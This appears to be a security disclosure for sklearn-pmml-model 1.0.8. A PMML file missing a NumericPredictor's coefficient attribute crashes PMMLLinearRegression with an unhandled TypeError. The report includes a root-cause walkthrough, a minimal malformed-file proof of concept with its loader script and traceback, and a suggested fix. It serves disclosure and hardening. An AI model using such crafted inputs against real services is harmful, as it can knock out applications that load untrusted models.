YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Unhandled TypeError (float(None)) in PMMLLinearRegression when a RegressionModel NumericPredictor omits the coefficient attribute (load-time DoS)
Target
- Package:
sklearn-pmml-model(PyPI:sklearn-pmml-model) - Version tested: 1.0.8 (latest release at time of report)
- Affected file:
sklearn_pmml_model/linear_model/implementations.py - Affected APIs:
PMMLLinearRegression(...)(andPMMLLogisticRegressionvia the same non-segment_get_coefficientspath) - Vector: attacker-supplied PMML file parsed at model-construction time.
- Impact: Denial of service. Loading an untrusted PMML file raises an unhandled
TypeError, crashing the caller. There is notry/exceptaround model construction.
Root cause
_get_coefficients() builds the coefficient vector by mapping each field to
coefficients_for_field(name, field). For a continuous (non-categorical)
field the code parses the predictor's coefficient with a raw float(...) on the
result of ElementTree's .get('coefficient'):
def coefficients_for_field(name, field):
predictors = table.findall(f"*[@name='{name}']")
if field.get('optype') != 'categorical':
if len(predictors) > 1:
raise Exception('PMML model is not linear.')
return [float(predictors[0].get('coefficient'))] # <-- line 177
...
return list(chain.from_iterable([
coefficients_for_field(name, field)
for name, field in est.fields.items()
if table.find(f"*[@name='{name}']") is not None # <-- guard, line 187
]))
ElementTree's Element.get('coefficient') returns None when the attribute is
absent. The guard on line 187 (table.find(f"*[@name='{name}']") is not None)
only checks that a predictor element with the matching name exists β it
does not validate that the predictor carries a coefficient attribute. A
<NumericPredictor name="x1"/> therefore passes the guard, reaches line 177,
and evaluates float(None), which raises:
TypeError: float() argument must be a string or a real number, not 'NoneType'
The value is entirely attacker-controlled from the PMML document, and model
construction has no exception handling, so the exception propagates out of the
PMMLLinearRegression(...) constructor and crashes any application that loads
an untrusted PMML model.
Proof of concept
Two minimal PMML files are included.
linreg-baseline.pmml β a well-formed RegressionModel
(functionName="regression") with DataDictionary fields y (target) and
x1, and one RegressionTable containing
<NumericPredictor name="x1" coefficient="1.5"/>.
linreg-nocoef.pmml β identical, except the coefficient attribute is
stripped from the NumericPredictor (<NumericPredictor name="x1"/>). This is
the only difference between the two files.
from sklearn_pmml_model.linear_model import PMMLLinearRegression
# Negative control: loads fine
m = PMMLLinearRegression("linreg-baseline.pmml")
print("loaded OK; coef_=", m.coef_, "intercept_=", m.intercept_)
# Malicious: single missing attribute -> crash
PMMLLinearRegression("linreg-nocoef.pmml")
The negative control proves the crash is caused solely by the single missing
coefficient attribute, not by any other malformation in the file.
Captured evidence (verbatim, sklearn-pmml-model 1.0.8, CPython 3.13)
=== NEGATIVE CONTROL: baseline ===
loaded OK; coef_= [1.5] intercept_= 0.0
=== MALICIOUS: NumericPredictor missing coefficient ===
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File ".../sklearn_pmml_model/linear_model/implementations.py", line 44, in __init__
_get_coefficients(self, table)
File ".../sklearn_pmml_model/linear_model/implementations.py", line 185, in _get_coefficients
coefficients_for_field(name, field)
File ".../sklearn_pmml_model/linear_model/implementations.py", line 177, in coefficients_for_field
return [float(predictors[0].get('coefficient'))]
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: float() argument must be a string or a real number, not 'NoneType'
Suggested fix
Validate the coefficient attribute before conversion and raise a clear,
caught PMML-parsing error (or default per the PMML spec, where a missing
coefficient is not permitted for a NumericPredictor). For example, read the
attribute, and if it is None raise a descriptive ValueError/parsing
exception rather than letting float(None) throw a bare TypeError. The same
hardening should be applied to coefficient_for_category
(float(predictor[0].get('coefficient'))) on the categorical branch.
Dedup note
- No CVE is known for this specific defect. This is a distinct code path from
the other
sklearn-pmml-modelfindings previously reported by this researcher:- SparseArray index/DoS issues (
_parse_array/ SVM) β different parser. PMMLLogisticRegressionsegment OOB β segment-branch indexing, not the non-segment_get_coefficientsfloat(None)path.- GLM
betaTypeError(GeneralRegressionModel) β a different estimator and a different attribute in a different implementation file. - Tree/forest/NaiveBayes/kNN/NeuralNetwork findings β unrelated model types.
This report is specifically the
RegressionModelNumericPredictormissingcoefficient->float(None)TypeErrorinlinear_model/implementations.pyline 177, reachable viaPMMLLinearRegressionandPMMLLogisticRegression's non-segment branch.
- SparseArray index/DoS issues (